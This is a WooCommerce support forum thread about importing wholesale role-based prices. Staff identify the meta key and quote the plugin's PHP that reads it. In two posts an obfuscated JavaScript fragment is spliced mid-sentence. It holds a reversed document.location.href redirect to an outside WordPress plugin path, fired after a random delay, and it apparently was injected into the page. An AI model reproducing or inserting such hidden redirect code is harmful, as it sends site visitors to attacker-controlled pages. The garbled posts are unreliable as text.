Adding Wholesale Prices

Viewing 4 reply threads
  • Author
    Posts
    • #71002
      Anonymous
      Inactive

      Hi,

      I am trying to add wholesale prices to thousands of existing products, using your WooCommerce Catalog Mode, Wholesale & Role Based Pricing plugin for WooCommerce. I added a User Role for Wholesale Buyer and added a wholesale price for one item, it works.

      I also purchased your Product Bulk Edit plugin for WooCommerce. I’m not sure if this is what I need.

      I am looking at your Product Import Export plugin. Will this plugin give me the ability to import SKU numbers and the Wholesale Buyer price into the existing products? I have tried it with Store Exporter Delux for WooCommerce (https://www.visser.com.au/solutions/woocommerce-export/) and it does not see the field for Wholesale Buyer, will your solution see that custom field (that was added with your WooCommerce Catalog Mode, Wholesale & Role Based Pricing plugin)?

      Thanks!

    • #71021
      Anonymous
      Inactive

      Hi Murray,

      Currently its not possible to a csv and add the whole sale price and import them again.

      Regards,
      Lorenzo

    • #71237
      Anonymous
      Inactive

      Hi Lorenzo,

      It looks like I can target fields that Sto know what the field names and IDs are.

      I have added a user role for “Wholesale Buyer” this has added a field in the Product > General tab where I can enter the Wholesale Buyer price.
      What is …
      the name of this field in the database?
      the ID of this field in the database?
      the Label of this field?

      I apologize, but I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t have access to the raw data.

      Thanks for your help.

      Dan

    • #71247
      Anonymous
      Inactive

      Hi,

      The data should be stored in the key: role_price

      I’ll toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}double check with my team regarding this.

      Regards,
      Lorenzo

    • #71315
      Anonymous
      Inactive

      Hi,

      The role prices can be found in:$this->current_user_role][‘role_price’]

      In Class: class-eh-price-discount-admin.php line 840

      if (is_array($this->individual_product_adjustment_roles) && in_array($this->current_user_role, $this->individual_product_adjustment_roles)) {
      //Role Based Price (individual product page price change)
      $product_user_price = get_post_meta($pid, ‘product_role_based_price’);
      if (is_array($product_user_price) && isset($product_user_price[0]) && !empty($product_user_price[0])) {
      $product_user_price = $product_user_price[0];
      }
      if (!empty($product_user_price)) {
      if (isset($product_user_price[$this->current_user_role])) {
      $product_user_price_value = $product_user_price[$this->current_user_role][‘role_price’];
      $product_user_price_value = $this->eh_cwrp_fix_price_decimal_format( $dec_seperator, $product_user_price_value);
      if (is_numeric($product_user_price_value)) {
      $price = $product_user_price_value;
      }
      }
      }

      Regards,
      Lorenzo

Viewing 4 reply threads
  • You must be logged in to reply to this topic.